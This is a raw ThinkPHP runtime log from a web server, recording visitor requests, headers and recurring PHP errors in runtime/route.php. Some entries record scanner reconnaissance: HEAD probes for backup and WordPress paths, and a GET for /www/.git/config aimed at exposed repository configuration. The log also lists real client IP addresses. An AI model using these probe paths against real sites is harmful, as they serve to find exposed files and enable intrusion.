[2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:46:19+08:00 ] 118.163.62.47 GET 127.0.0.1/ [运行时间:0.001375s] [吞吐率:727.29req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:49:41+08:00 ] 113.215.188.6 GET 51tianwei.com/ [运行时间:0.001417s] [吞吐率:705.76req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4887.197 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:49:41+08:00 ] 113.215.188.6 GET 51tianwei.com/ [运行时间:0.001286s] [吞吐率:777.59req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.3441.177 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:49:41+08:00 ] 113.215.188.6 GET 51tianwei.com/favicon.ico [运行时间:0.002128s] [吞吐率:469.95req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.3441.177 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:54:02+08:00 ] 141.98.11.178 GET 59.110.137.245:80/ [运行时间:0.001538s] [吞吐率:650.18req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:58:44+08:00 ] 113.215.189.11 GET www.51tianwei.com/ [运行时间:0.001319s] [吞吐率:758.05req/s] [内存消耗:159.93kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.1047.133 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:58:44+08:00 ] 113.215.189.11 GET www.51tianwei.com/ [运行时间:0.001326s] [吞吐率:754.10req/s] [内存消耗:159.93kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.9053.132 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:58:44+08:00 ] 113.215.189.11 GET www.51tianwei.com/favicon.ico [运行时间:0.002180s] [吞吐率:458.74req/s] [内存消耗:132.87kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.9053.132 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:35+08:00 ] 52.237.213.186 HEAD 51tianwei.com/wordpress [运行时间:0.001753s] [吞吐率:570.42req/s] [内存消耗:132.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wordpress', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:35+08:00 ] 52.237.213.186 HEAD 51tianwei.com/ [运行时间:0.001377s] [吞吐率:726.29req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:35+08:00 ] 52.237.213.186 HEAD 51tianwei.com/wp [运行时间:0.001644s] [吞吐率:608.31req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:35+08:00 ] 52.237.213.186 HEAD 51tianwei.com/bc [运行时间:0.001769s] [吞吐率:565.35req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:36+08:00 ] 52.237.213.186 HEAD 51tianwei.com/bk [运行时间:0.001624s] [吞吐率:615.81req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bk', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:36+08:00 ] 52.237.213.186 HEAD 51tianwei.com/backup [运行时间:0.001785s] [吞吐率:560.21req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:36+08:00 ] 52.237.213.186 HEAD 51tianwei.com/old [运行时间:0.001761s] [吞吐率:567.87req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:36+08:00 ] 52.237.213.186 HEAD 51tianwei.com/new [运行时间:0.001645s] [吞吐率:607.87req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'new', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:36+08:00 ] 52.237.213.186 HEAD 51tianwei.com/main [运行时间:0.001604s] [吞吐率:623.41req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'main', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:08:37+08:00 ] 52.237.213.186 HEAD 51tianwei.com/home [运行时间:0.001664s] [吞吐率:600.99req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:09:16+08:00 ] 60.247.75.142 GET 51tianwei.com/ [运行时间:0.001316s] [吞吐率:759.84req/s] [内存消耗:160.13kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'accept-encoding' => 'x-gzip, gzip', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0', 'if-modified-since' => 'Wed, 04 May 2022 09:45:49 GMT', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:09:38+08:00 ] 179.43.168.146 GET 59.110.137.245/ [运行时间:0.001423s] [吞吐率:702.68req/s] [内存消耗:159.27kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9tcpid/v1.1.0', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:01+08:00 ] 179.43.168.146 GET 59.110.137.245/www/.git/config [运行时间:0.002147s] [吞吐率:465.72req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info 